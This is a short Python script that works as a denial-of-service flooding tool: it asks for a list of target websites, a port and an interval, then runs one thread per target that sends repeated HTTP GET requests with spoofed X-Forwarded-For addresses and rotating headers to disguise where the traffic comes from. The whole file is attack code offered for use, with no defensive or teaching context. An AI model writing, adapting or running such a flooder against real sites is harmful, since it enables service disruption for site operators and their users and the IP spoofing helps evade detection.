import socket
import time
import threading
import random

def attack(target):
     client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     client.connect((target, port))
    
     while True:
         try:
             header = random.choice(headers)
             ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
             spoofed_packet = f"GET / HTTP/1.1\r\nHost: {target}\r\n{header}\r\nX-Forwarded-For: {ip}\r\n\r\n".encode()
             client.send(spoofed_packet)
             time.sleep(attack_interval)   # User-defined attack interval time
         except Exception as e:
             print(f"Error: {e}")
             break

if __name__ == "__main__":
     # Get user input
     targets = input("Enter the target website list, Separate with semicolons(;)(e.g., example.com;abcdefg.com): ").split(';')
     port = int(input("Enter the target port: "))
     headers = [
         "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
         "Accept-Language: en-US,en;q=0.9",
         "Referer: https://www.google.com/",
         "Cookie: session=abcdef1234567890",
         # Users can add more custom headers here
     ]
     attack_interval = float(input("Enter the attack interval time (seconds): "))

     # Create threads
     threads = []
     for target in targets:
         thread = threading.Thread(target=attack, args=(target,))
         thread.start()
         threads.append(thread)

     # Wait for all threads to finish
     for thread in threads:
         thread.join()